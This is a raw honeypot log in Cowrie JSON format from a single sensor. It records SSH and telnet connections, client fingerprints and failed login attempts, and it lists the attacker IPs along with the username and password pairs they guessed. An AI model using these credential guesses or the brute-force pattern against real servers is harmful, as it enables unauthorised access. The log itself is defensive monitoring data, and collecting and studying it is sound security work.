{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":49400,"dst_ip":"10.17.0.5","dst_port":22,"session":"6be03e438b2e","protocol":"ssh","message":"New connection: 103.172.78.219:49400 (10.17.0.5:22) [session: 6be03e438b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:57.932569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:57.937981Z","src_ip":"103.172.78.219","session":"6be03e438b2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:58.191262Z","src_ip":"103.172.78.219","session":"6be03e438b2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":40370,"dst_ip":"10.17.0.5","dst_port":23,"session":"4acf01e9033b","protocol":"telnet","message":"New connection: 178.128.93.180:40370 (10.17.0.5:23) [session: 4acf01e9033b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:58.202389Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"11021985","message":"login attempt [root/11021985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:32:58.950184Z","src_ip":"103.172.78.219","session":"6be03e438b2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:00.205406Z","src_ip":"103.172.78.219","session":"6be03e438b2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":59770,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf3647d46d89","protocol":"ssh","message":"New connection: 147.45.211.215:59770 (10.17.0.5:22) [session: bf3647d46d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:06.266148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:06.271581Z","src_ip":"147.45.211.215","session":"bf3647d46d89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:06.453597Z","src_ip":"147.45.211.215","session":"bf3647d46d89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890asd","message":"login attempt [root/1234567890asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:07.042882Z","src_ip":"147.45.211.215","session":"bf3647d46d89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:08.230353Z","src_ip":"147.45.211.215","session":"bf3647d46d89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":54448,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a070f9f8168","protocol":"telnet","message":"New connection: 178.128.93.180:54448 (10.17.0.5:23) [session: 3a070f9f8168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:18.113863Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":57620,"dst_ip":"10.17.0.5","dst_port":22,"session":"e23bf9f6c2b9","protocol":"ssh","message":"New connection: 103.82.132.16:57620 (10.17.0.5:22) [session: e23bf9f6c2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:19.892027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:19.896804Z","src_ip":"103.82.132.16","session":"e23bf9f6c2b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:20.145365Z","src_ip":"103.82.132.16","session":"e23bf9f6c2b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16101988","message":"login attempt [root/16101988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:20.892422Z","src_ip":"103.82.132.16","session":"e23bf9f6c2b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:22.143099Z","src_ip":"103.82.132.16","session":"e23bf9f6c2b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.01119112968445,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:23.605638Z","src_ip":"69.4.83.194","session":"193fb0b01ed8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44140,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d66453a9fc8","protocol":"telnet","message":"New connection: 69.4.83.194:44140 (159.203.135.109:23) [session: 7d66453a9fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:29.458255Z"}
{"eventid":"cowrie.session.closed","duration":33.206846714019775,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:29.799320Z","src_ip":"69.4.83.194","session":"990bf5e25b97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":37562,"dst_ip":"10.17.0.5","dst_port":22,"session":"00c2186b8da3","protocol":"ssh","message":"New connection: 103.27.238.114:37562 (10.17.0.5:22) [session: 00c2186b8da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:41.108816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:41.113096Z","src_ip":"103.27.238.114","session":"00c2186b8da3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:41.386872Z","src_ip":"103.27.238.114","session":"00c2186b8da3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"felix","message":"login attempt [root/felix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:42.208401Z","src_ip":"103.27.238.114","session":"00c2186b8da3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:43.485325Z","src_ip":"103.27.238.114","session":"00c2186b8da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":49664,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b80738fcdf4","protocol":"telnet","message":"New connection: 178.128.93.180:49664 (10.17.0.5:23) [session: 5b80738fcdf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:57.226022Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.90.106","src_port":41622,"dst_ip":"159.203.135.109","dst_port":22,"session":"5873173501f2","protocol":"ssh","message":"New connection: 182.52.90.106:41622 (159.203.135.109:22) [session: 5873173501f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:57.866396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:57.875267Z","src_ip":"182.52.90.106","session":"5873173501f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:58.136924Z","src_ip":"182.52.90.106","session":"5873173501f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"111111","message":"login attempt [user4/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:33:59.216406Z","src_ip":"182.52.90.106","session":"5873173501f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:00.481805Z","src_ip":"182.52.90.106","session":"5873173501f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.557964086532593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:01.016096Z","src_ip":"69.4.83.194","session":"7d66453a9fc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.40068364143372,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:02.602969Z","src_ip":"178.128.93.180","session":"4acf01e9033b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":36908,"dst_ip":"159.203.135.109","dst_port":22,"session":"defb9f6eb983","protocol":"ssh","message":"New connection: 35.225.56.202:36908 (159.203.135.109:22) [session: defb9f6eb983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:03.703576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:03.708858Z","src_ip":"35.225.56.202","session":"defb9f6eb983","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:03.745029Z","src_ip":"35.225.56.202","session":"defb9f6eb983","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:03.920488Z","src_ip":"35.225.56.202","session":"defb9f6eb983","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:04.961334Z","src_ip":"35.225.56.202","session":"defb9f6eb983","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":52584,"dst_ip":"10.17.0.5","dst_port":22,"session":"101dc791c6f6","protocol":"ssh","message":"New connection: 85.11.167.46:52584 (10.17.0.5:22) [session: 101dc791c6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:05.432605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:05.437520Z","src_ip":"85.11.167.46","session":"101dc791c6f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:05.526992Z","src_ip":"85.11.167.46","session":"101dc791c6f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":47216,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e0169036916","protocol":"ssh","message":"New connection: 193.37.70.224:47216 (10.17.0.5:22) [session: 9e0169036916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:05.663131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:05.667591Z","src_ip":"193.37.70.224","session":"9e0169036916","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:05.756988Z","src_ip":"193.37.70.224","session":"9e0169036916","protocol":"ssh"}
